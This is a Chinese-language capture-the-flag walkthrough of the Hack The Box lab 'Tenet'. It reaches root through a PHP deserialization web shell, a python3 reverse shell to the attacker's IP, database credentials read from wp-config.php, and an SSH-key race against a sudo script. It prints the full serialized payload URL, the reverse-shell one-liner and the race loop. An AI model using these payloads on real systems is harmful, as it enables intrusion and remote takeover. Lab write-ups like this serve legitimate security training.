Hackthebox - Tenet

Hackthebox - Tenet 靶场实战

靶场信息

靶场类型

信息搜集

首先使用nmap进行端口扫描

nmap -A -sS -sC -sV 10.10.10.223

我们可以看到,本台靶场开启了22和80端口,咱们访问80端口看看

访问80端口后发现是一个apache2的默认页面,那就可以确定是apache的漏洞入手了

简单查看了一下,没有其他啥东西,咱们先爆个目录吧

懒得使用鼠标了,所以这里咱们使用gobuster进行爆破

gobuster dir -u http://10.10.10.223 -x php,log,txt -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt –wildcard -o gob

找到了一个文件一个目录

/users.txt

/wordpress

咱们先看看/users.txt文件

得到了一个用户名Success,先记录下来,咱们去看看wp

嘛玩意儿?你告我这是wordpress?我都准备好砸exp了结果你告诉我这?

翻了一下网页源代码,在css里发现了一个域名tenet.htb,成吧,还是得去/etc/hosts里添加一个解析。

vim /etc/hosts

添加后再访问就对劲了

这里发现有一些文章,但是我这小学英语都不及格的水平…没办法,开翻译器吧

然后我们在其中一篇《Migration》上,找到了一条评论

经过机翻+我个人的理解后,大致意思如下:

你是否删除了sator.php的备份文件?迁移文件不完整,你为啥要这样做?你图啥?(最后一句我自己加的,文里没有)

整理一下目前我们得到的信息

两个用户,分别为neil和管理员protagonist(猜测,证据如下图)

和一个php文件 sator.php

思路整理,用户neil质问管理员为什么在迁移web程序的时候删除了sator.php从而导致了网站文件不完整,也就是说wordpress目录下是不可能存在这个文件的。但是咱们又要利用到这个文件,那在一开始的apache2目录下尝试一下?

似乎没有什么有用的信息,我又回去看了一下neil用户的评论。

等等?备份文件?那意思就是bak文件?咱们尝试一下

我可真是太棒了,现在是凌晨四点,奖励自己一顿烧烤,长胖了都是你们的责任,记得背锅

成功搞到一份php源码,审计吧。

但是吧,审计确实是我的短板,所以怎么办呢?这个时候丢给“朋友”就好了,老白嫖了

原理讲解

我们可以在这里看到,有一个类 DatabaseExport,其中有两个公共变量 user_file、data 并且在这个类中,有一个公共函数被调用 update_db(),该函数将 data 变量设置为“Success”,这只是一个txt文件,正如你从 sator.php 中看到的那样,最后的网络浏览器有一个magic函数(这个找资料的时候看到的,但我不知道怎么翻译)__destruct(),当一个对象被销毁时,它会自动调用 user_file 将使用来自 data 的内容并将其放入web目录中,这意味着在web目录中创建 users.txt 数据“Success”。

最后我们可以 GET 参数 arepo,现在这里存在一个漏洞,称为“PHP反序列化”

因此,要利用这一点,我们必须修改在这种情况下,类变量 user_file,并将 data 序列化,一旦我们得到了序列化字符串,我们把它传递给 arepo 参数中。

漏洞利用

虽然我代码审计很弱,但我大概看懂了,它生成了一个名为users.txt的文件,内容为Success,那咱们让他生成php文件然后写入一句话木马,这不就成了?

这不就是妥妥的php反序列化吗?

代码

‘;

}

$test = serialize(new DatabaseExport);

echo $test;

?>

将上面的代码保存为php文件,然后执行后会得到一个php序列化

然后我们需要以url编码的形式把它传递给 GET 参数,所以我们使用cyberchef(或其他工具)来完成

https://gchq.github.io/CyberChef/#recipe=URL_Encode(false)

O:14:%22DatabaseExport%22:2:%7Bs:9:%22user_file%22;s:9:%22shell.php%22;s:4:%22data%22;s:29:%22%3C?php%20system($_GET%5B%22cmd%22%5D);?%3E%22;%7D

咱们通过 GET 传输,直接粘贴到url里

http://10.10.10.223/sator.php?arepo=O:14:%22DatabaseExport%22:2:%7Bs:9:%22user_file%22;s:9:%22shell.php%22;s:4:%22data%22;s:29:%22%3C?php%20system($_GET%5B%22cmd%22%5D);?%3E%22;%7D

提示已经更新了,那就是成功了

成功执行命令,我们拿到了一个webshell

熟悉我的读者们都知道,我比较喜欢利用python3

所以咱们直接看看是否存在python3

哦豁 存在python3,这是一件很幸运的事情

咱们直接用python3进行反弹shell

本地监听4444端口

http://10.10.10.223/shell.php?cmd=python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.184”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(“/bin/bash”)’

成功得到了一个稳定的shell,芜湖,起飞

由于我们现在只是www-data用户,权限低的很,现在还得先获取到一个正常的用户

咱们检查一下cron的工作

检查一下开放的端口

已经有思路了啊兄弟们

我们可以看到3306端口在我们本地运行着,那多半就是mysql了,咱们直接找mysql的配置文件啊

我记得我以前打过很多wordpress的站(抱歉,都是涉密项目,所以不方便写成文章),在wp-config.php文件里,一般会有数据库的账号密码的,咱们去读取试试

成功拿到

DB_NAME = wordprss

DB_USER = neil

DB_PASSWORD = Opera2112

登陆失败?那这暗示就很明显了,应该是一个用户了,咱们看看去,

等会儿?我以为这是一个数据库用户,没想到权限还挺大?

咱们直接登录吧

登录成功

成功拿到user权限的flag

权限提升

咱们老规矩,sudo -l查看一下sudo权限

发现可以直接用root权限执行enableSSH.sh文件,那提权还不简单?在根目录下本来就存在一个exp.sh,这不提示就来了?咱们查看一下

我怎么看着有点不对劲呢。。。

在迟疑了大概1.25秒后,我悟了!

这TM是其他哥们儿做过后留下的提权脚本!这根本就不是我要的东西!

我丢啊,稍等各位,我先重置一下靶场,再来一次

cat /usr/local/bin/enableSSH.sh

查看这个sh文件才对,刚才搞错了,请大家无视哈

这些内容都比较无聊,咱们直接拉到最底下

我们可以看到一个addkey()使用命令创建临时文件的函数mktemp

如果我们在本地机器上运行此命令查看它生成的文件名,我们可以看到每次运行此命令时,文件名都是不一样的

mktemp -u /temp/ssh-XXXXXX

摸了摸我并不存在的头发,这玩意儿真让人头秃

公共密钥获取方法

ssh-keygen 然后根据我们自己的情况进行设置,然后文件保存在/root/.ssh/id-rsa.pub中

将如下代码保存到exp.sh文件

while true

do

echo ‘ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDoVUNa8uk2pi8tECc1c6SsFbq1xlNvnhwzqgEjmN6yyp8u7TIC4VbzgyRC2UnN9dM0wn9mP103gIAxLGXxgy5kl+cquFffZPoOjfd9I4ZLFDHaPr6eXbXSCg445UXG1gAj8b7lPGemz6vApGrlMGjl1TABKMBHCTbzqSVoAxaDZXSiF4kIKKU4b2Dx8Uw7XgTdd+KWZnuIozuYyZlD3+cl//inLetupgpP0ZBvcBqAr1UqtCxsMx2Yzy3XfQ/VQMW4Qeswuvx98P+kP6wqpq2jXxaEoRkyVcIlQekJg1W+XwuuNixQeli7CQQBgqu7FwUYrftlWZm0br3HNQlVwBgB+zqExOmt8iktcHjw3pLetwI7X7sdB5pUS4QN2hwDDQsAuhaGMt4MAWSLKsgEZJxWT4FTH2R5+eTCXZNbH97aGbH0/ONmzZFKm9bOwvnflQ5taIe149JbuPMc6sba5C4FROHagprucjaPDYhp/v0q0ztKq2G9Ay5yfCTTFj5sYuk= root@root’ |tee /tmp/ssh-*

done

添加运行权限 chmod +x exp.sh

然后运行./exp.sh

然后咱们再开一个ssh连接

然后咱们在新开的ssh连接上运行’ sudo /usr/local/bin/enableSSH.sh’几次

然后咱们测试一下是否可以连接

ssh root@10.10.10.223 -i id_rsa

如果不行,咱们就再来一次即可

成功拿到root权限的flag

正好这个时候我点的烧烤也到了,吃夜宵去